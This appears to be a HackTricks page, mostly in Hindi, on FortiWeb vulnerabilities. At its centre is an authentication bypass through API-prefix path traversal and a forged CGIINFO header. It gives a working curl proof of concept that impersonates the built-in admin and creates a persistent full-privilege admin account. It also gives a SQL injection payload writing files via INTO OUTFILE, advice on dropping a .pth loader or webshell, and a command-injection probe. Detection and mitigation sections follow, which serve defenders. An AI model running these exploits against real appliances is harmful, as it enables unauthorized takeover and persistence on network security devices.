Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अवलोकन

Fortinet FortiWeb एक केंद्रीकृत CGI dispatcher को /cgi-bin/fwbcgi पर प्रदर्शित करता है। दो बग्स की चेन एक unauthenticated remote attacker को सक्षम बनाती है कि वह:

  • एक वैध API prefix से URL की शुरुआत करके और traversing directories करके fwbcgi तक पहुँच सके।
  • एक विशेष HTTP header प्रदान करके जो CGI को identity के रूप में ट्रस्ट है, किसी भी user (जिसमें built-in admin भी शामिल है) का impersonate कर सके।

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). वास्तविक दुनिया में Exploitation का उपयोग करके persistent admin users बनाने की घटनाएँ देखी गई हैं।

प्रभावित वर्ज़न (जैसा कि सार्वजनिक रूप से दस्तावेजीकृत):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 नीचे दिए traversal probe के लिए HTTP 403 लौटाता है।

त्वरित भेद्यता जांच

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • व्याख्या: HTTP 200 → likely vulnerable; HTTP 403 → patched.

मूल कारण श्रृंखला

  1. API-prefix path traversal to internal CGI
  • कोई भी request path जो किसी वैध FortiWeb API prefix (उदा., /api/v2.0/cmdb/ या /api/v2.0/cmd/) से शुरू होता है, ../ का उपयोग करके /cgi-bin/fwbcgi तक traverse कर सकता है।
  1. Minimal-body validation bypass
  • एक बार fwbcgi पहुँचने पर, पहला gate एक permissive JSON check करता है जिसे /var/log/inputcheck/ के तहत per-path file द्वारा key किया जाता है। यदि फ़ाइल अनुपस्थित है, तो check तुरंत पास हो जाता है। यदि मौजूद है, तो body को केवल valid JSON होना चाहिए। कम से कम compliant body के रूप में {} का उपयोग करें।
  1. Header-driven user impersonation
  • प्रोग्राम CGI environment variable HTTP_CGIINFO (जो HTTP header CGIINFO से निकाला गया है) को पढ़ता है, इसे Base64-decode करता है, JSON parse करता है, और attributes को सीधे login context में copy कर देता है, domain/VDOM सेट करते हुए। रुचि के keys:
  • username, loginname, vdom, profname
  • built-in admin को impersonate करने के लिए Example JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

उपरोक्त का Base64 (जैसा वास्तविक दुनिया में प्रयुक्त होता है):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

एंड-टू-एंड दुरुपयोग पैटर्न (unauthenticated → admin)

  1. API-prefix traversal के माध्यम से /cgi-bin/fwbcgi तक पहुँचें।
  2. इनपुट चेक पास करने के लिए कोई भी वैध JSON बॉडी (उदा., {}) प्रदान करें।
  3. हेडर CGIINFO: <base64(json)> भेजें जहाँ JSON लक्ष्य पहचान को परिभाषित करता है।
  4. प्रिविलेज्ड क्रियाएँ करने के लिए fwbcgi द्वारा अपेक्षित backend JSON POST करें (उदा., स्थायित्व के लिए एक admin user बनाना)।

न्यूनतम cURL PoC

  • Traversal exposure की जाँच:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • admin का रूप धारण करें और एक नया local admin user बनाएं:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

नोट्स:

  • यदि /var/log/inputcheck/<path>.json मौजूद नहीं है तो कोई भी वैध JSON बॉडी पर्याप्त है (उदा., {})।
  • Action schema FortiWeb-आंतरिक है; ऊपर का उदाहरण full privileges वाला local admin जोड़ता है।

अन्य FortiWeb 2025 vulnerabilities जिन्हें जल्दी जाँचना चाहिए

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • प्रभावित: 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10। Fixed in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11।
  • बग: get_fabric_user_by_token() Authorization: Bearer <token> मान को सीधे SQL query में उपयोग करता है। Attacker ऐसा SQL सप्लाई कर सकता है जो MySQL user के रूप में चलता है और SELECT ... INTO OUTFILE के माध्यम से फाइल ड्रॉप कर सकता है, जिससे code exec (webshell/.pth loader) संभव होता है।
  • Typical attack surface: /api/fabric/device/status (and other Fabric Connector endpoints) over HTTP/HTTPS on the management plane.
  • SQLi के लिए त्वरित परीक्षण:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponization: FortiWeb के Python site-packages में एक .pth लिखें जो interpreter के start पर os;os.system(...) को import करे, या webroot के तहत एक CGI डालें। सेवाएँ reload करने पर payload execute हो जाएगा।
  • Hunting clues: Authorization headers जिनमें quotes/UNION/SELECT हों; /data/lib/python*/site-packages/ या /data/var/waf/html/ROOT/cgi-bin/ के तहत अनपेक्षित फाइलें।

FortiCloud SSO signature bypass (CVE-2025-59719)

  • गलत SAML signature verification एक हमलावर को FortiCloud SSO responses फोर्ज करने और बिना credentials के admin के रूप में लॉग इन करने की अनुमति देती है।
  • केवल तब exploitable जब FortiCloud SSO login enabled हो (यदि appliance GUI द्वारा registered था तो यह स्वतः चालू हो जाता है जब तक checkbox unticked न किया गया हो)।
  • प्रभावित (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • प्रभावित: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Practical probe (नाशरहित): management HTTP endpoints को ऐसा parameter भेजें जिसमें ;id; हो और 500 responses में command output के लिए देखें; यदि कोई echo दिखाई दे तो तुरंत block या patch करें।

Detection

  • ऐसे अनुरोध जो API-prefix paths में ../ शामिल करके /cgi-bin/fwbcgi तक पहुँचते हैं (उदा., /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)।
  • CGIINFO हेडर की उपस्थिति जिसमें Base64 JSON हो और keys username/loginname/vdom/profname शामिल हों।
  • Fabric Connector SQLi: Authorization headers जिनमें SQL metacharacters हों, Python site-packages/CGI डिरेक्टरीज़ में अचानक फाइलें, इंटरनेट IPs से /api/fabric/device/status पर हिट्स।
  • FortiCloud SSO: /var/log/ssod में अनपेक्षित SAML issuers या audience मान।
  • Backend artifacts:
  • /var/log/inputcheck/ के तहत per-path फाइलें (gate configuration)।
  • अनपेक्षित admin creation और configuration बदलाव।
  • Rapid validation: traversal probe का 200 (exposed) लौटना बनाम 403 (fixed builds में blocked)।

Mitigation

  • vendor advisory के अनुसार fixed releases में upgrade करें (उदा.: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12)।
  • बाकी 2025 की कमजोरियों को patch करें: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2)।
  • जब तक patch न लगे:
  • FortiWeb management plane को untrusted networks के सामने एक्सपोज़ न करें।
  • reverse-proxy/WAF नियम जोड़ें ताकि निम्न ब्लॉक हों:
  • वे Paths जो /api/ से शुरू होते हैं और ../cgi-bin/fwbcgi को contain करते हैं।
  • Requests जिनके साथ CGIINFO हेडर हो।
  • Fabric Connector कॉल्स जिनमें Authorization में SQL metacharacters हों।
  • यदि FortiCloud SSO उपयोग में नहीं है तो SAML endpoints को इंटरनेट से न बतौर एक्सेस रखें।
  • ऊपर दिए गए detection संकेतों पर मॉनिटर और अलर्टिंग चालू रखें।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें